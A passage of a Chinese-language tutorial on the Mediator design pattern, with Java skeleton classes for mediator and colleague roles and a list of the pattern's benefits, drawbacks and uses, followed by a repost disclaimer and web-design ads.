• ConcreteColleague（具體同事類）：它是抽象同事類的子類；每一個同事對象在需要和其他同事對象通信時，先與中介者通信，通過中介者來間接完成與其他同事類的通信；在具體同事類中實現了在抽象同事類中聲明的抽象方法。

中介者模式的核心在於中介者類的引入，在中介者模式中，中介者類承擔了兩方面的職責：

(1) 中轉作用（結構性）：通過中介者提供的中轉作用，各個同事對象就不再需要顯式引用其他同事，當需要和其他同事進行通信時，可通過中介者來實現間接調用。該中轉作用屬於中介者在結構上的支持。

(2) 協調作用（行為性）：中介者可以更進一步的對同事之間的關係進行封裝，同事可以一致的和中介者進行交互，而不需要指明中介者需要具體怎麼做，中介者根據封裝在自身內部的協調邏輯，對同事的請求進行進一步處理，將同事成員之間的關係行為進行分離和封裝。該協調作用屬於中介者在行為上的支持。

模式偽代碼

典型的抽象中介者類、抽象同事類典型代碼如下：

// 抽象中介者類
public abstract class Mediator {
    // 用於存儲同事對象
    protected List<Colleague> colleagues = new ArrayList<>();

    // 註冊方法，用於增加同事對象
    public void register(Colleague colleague) {
        colleagues.add(colleague);
    }

    // 聲明抽象的業務方法
    public abstract void operation();
}

// 抽象同事類
public abstract class Colleague {
    // 維持一個抽象中介者的引用
    protected Mediator mediator;

    public Colleague(Mediator mediator) {
        this.mediator = mediator;
    }

    // 聲明自身方法，處理自己的行為
    public abstract void method1();

    // 定義依賴方法，與中介者進行通信
    public void method2() {
        mediator.operation();
    }
}

具體中介者類、具體同事類實現這些抽象方法，典型代碼如下：

// 具體同事類
public class ConcreteColleague extends Colleague {

    public ConcreteColleague(Mediator mediator) {
        super(mediator);
    }
    
    @Override
    public void method1() {
        // 實現自身方法
    }
}

// 具體中介者類
public class ConcreteMediator extends Mediator {
    @Override
    public void operation() {
        // 通過調用同事類的方法，並增加其他業務邏輯來控制同事之間的交互
    }
}

模式應用

待完善…

模式總結

中介者模式將一個網狀的系統結構變成一個以中介者對象為中心的星形結構，在這個星型結構中，使用中介者對象與其他對象的一對多關係來取代原有對象之間的多對多關係。中介者模式在事件驅動類軟件中應用較為廣泛，特別是基於GUI（Graphical User Interface，圖形用戶界面）的應用軟件，此外，在類與類之間存在錯綜複雜的關聯關係的系統中，中介者模式都能得到較好的應用。

主要優點

(1) 中介者模式簡化了對象之間的交互，它用中介者和同事的一對多交互代替了原來同事之間的多對多交互，一對多關係更容易理解、維護和擴展，將原本難以理解的網狀結構轉換成相對簡單的星型結構。

(2) 中介者模式可將各同事對象解耦。中介者有利於各同事之間的松耦合，我們可以獨立的改變和復用每一個同事和中介者，增加新的中介者和新的同事類都比較方便，更好地符合“開閉原則”。

(3) 可以減少子類生成，中介者將原本分佈於多個對象間的行為集中在一起，改變這些行為只需生成新的中介者子類即可，這使各個同事類可被重用，無須對同事類進行擴展。

主要缺點

中介者類中包含了大量同事之間的交互細節，可能會導致具體中介者類非常複雜，使得系統難以維護。

適用場景

(1) 系統中對象之間存在複雜的引用關係，系統結構混亂且難以理解。

(2) 一個對象由於引用了其他很多對象並且直接和這些對象通信，導致難以復用該對象。

(3) 想通過一个中間類來封裝多個類中的行為，而又不想生成太多的子類。可以通過引入中介者類來實現，在中介者中定義對象交互的公共行為，如果需要改變行為則可以增加新的具體中介者類。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!